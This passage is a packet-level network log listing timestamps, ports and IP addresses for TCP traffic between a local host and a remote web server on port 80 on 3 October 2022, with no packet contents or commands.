Oct 3, 2022 17:30:00.341881990 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.341933012 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.341934919 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.341985941 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.341988087 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.342041969 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.342041969 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.342096090 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.342096090 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.342149019 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.342150927 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.342201948 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.342204094 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.342257977 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.342258930 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.342310905 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.342314005 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.342366934 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.342372894 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.342427015 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.342427969 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.342480898 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.342484951 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.342539072 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.342540026 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.342592955 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.342593908 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.342645884 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.342649937 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.342705011 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.342705011 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.342758894 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.342761993 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.342812061 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.342814922 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.342871904 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.342894077 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.342937946 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.342981100 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.343045950 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.343046904 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.343079090 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.343106985 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.343123913 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.343162060 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.343169928 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.343215942 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.343225002 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.343270063 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.343276024 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.343327045 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.343331099 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.343380928 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.343388081 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.343434095 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.343439102 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.343487024 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.343497038 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.343539953 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.343548059 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.343599081 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.343617916 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.343672991 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.343678951 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.343728065 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.343729019 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.343785048 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.343790054 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.343847990 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.371103048 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.371196985 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.371222019 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.371288061 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.371314049 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.371412039 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.371437073 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.371521950 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.371546030 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.371608019 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.371629000 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.371686935 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.371715069 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.371773958 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.371798992 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.371896029 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.371953964 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.372025967 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.372049093 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.372111082 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.372136116 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.372200966 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.372221947 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.372287989 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.372313023 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.372385979 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.372437000 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.372503996 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.372524977 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.372590065 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.372616053 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.372679949 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.372704983 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.372788906 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.372836113 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.372932911 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.372972965 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.373020887 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.373028994 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.373054028 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.373084068 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.373085976 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.373100042 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.373111963 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.373135090 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.373164892 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.373171091 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.373192072 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.373193026 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.373226881 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.373254061 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.373254061 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.373282909 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.373286963 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.373311996 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.373327971 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.373339891 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.373368979 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.373377085 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.373398066 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.373420000 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.373426914 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.373452902 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.373466969 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.373482943 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.373506069 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.373509884 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.373538017 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.373538971 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.373568058 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.373579979 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.373596907 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.373625040 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.373625040 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.373653889 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.373681068 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.373688936 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.373709917 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.373734951 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.373738050 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.373763084 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.373771906 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.373806953 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.373810053 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.373828888 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.373847008 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.373862982 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.373883963 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.373900890 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.373923063 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.373950005 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.373976946 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.374003887 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.374003887 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.374034882 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.374064922 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.374067068 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.374095917 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.374095917 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.374125957 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.374140978 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.374183893 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.636471987 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.636591911 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.896401882 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.896625042 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.069726944 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.071949959 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.097014904 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.097065926 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.097098112 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.097305059 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.097305059 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.099203110 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.099229097 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.099373102 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.099667072 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.099689960 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.099801064 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.099951029 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.099972963 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.099994898 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100016117 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100037098 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100040913 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.100059986 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100081921 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100086927 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.100104094 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100126028 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100126982 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.100147963 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100157976 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.100171089 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100193024 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.100193977 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100214005 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.100215912 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100238085 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100258112 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.100259066 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100280046 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.100281954 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100303888 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100320101 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.100328922 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100349903 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.100351095 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100375891 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100384951 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.100397110 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100418091 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.100419044 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100440979 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100461006 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.100462914 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100486040 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100507021 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100512981 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.100528002 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.100529909 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100549936 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.100554943 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100577116 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100596905 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.100598097 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100617886 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.100622892 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100642920 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.100645065 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100667953 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100688934 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.100688934 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100713015 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100733995 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100737095 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.100754023 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.100758076 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100778103 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.100780010 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100802898 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100821972 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.100824118 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100847006 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100847960 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.100847960 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.100869894 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100888968 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.100891113 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100910902 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.100915909 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100938082 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100941896 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.100960970 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.100980043 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.100981951 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.101001978 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.101005077 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.101057053 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.101057053 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.124449968 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.124488115 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.124509096 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.124528885 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.124548912 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.124569893 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.124739885 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.124739885 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.126326084 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.126359940 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.126380920 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.126401901 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.126528025 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.126528025 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.126754045 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.126791000 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.126812935 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.126825094 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.126846075 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.126868963 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.126902103 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.126902103 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.127970934 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128007889 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128029108 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128048897 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128071070 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128089905 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128113985 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128134966 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128154993 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128169060 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.128179073 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128201008 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128204107 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.128223896 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128245115 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128247976 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.128268003 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128277063 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.128290892 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128302097 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.128302097 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.128314018 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128317118 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.128335953 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128344059 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.128359079 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128380060 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128386974 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.128402948 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128424883 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128428936 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.128447056 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128452063 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.128468037 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128479958 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.128492117 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128513098 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128534079 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128534079 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:01.128551960 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128576994 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:01.128591061 CEST	49694	80	192.168.2.5	85.31.46.167
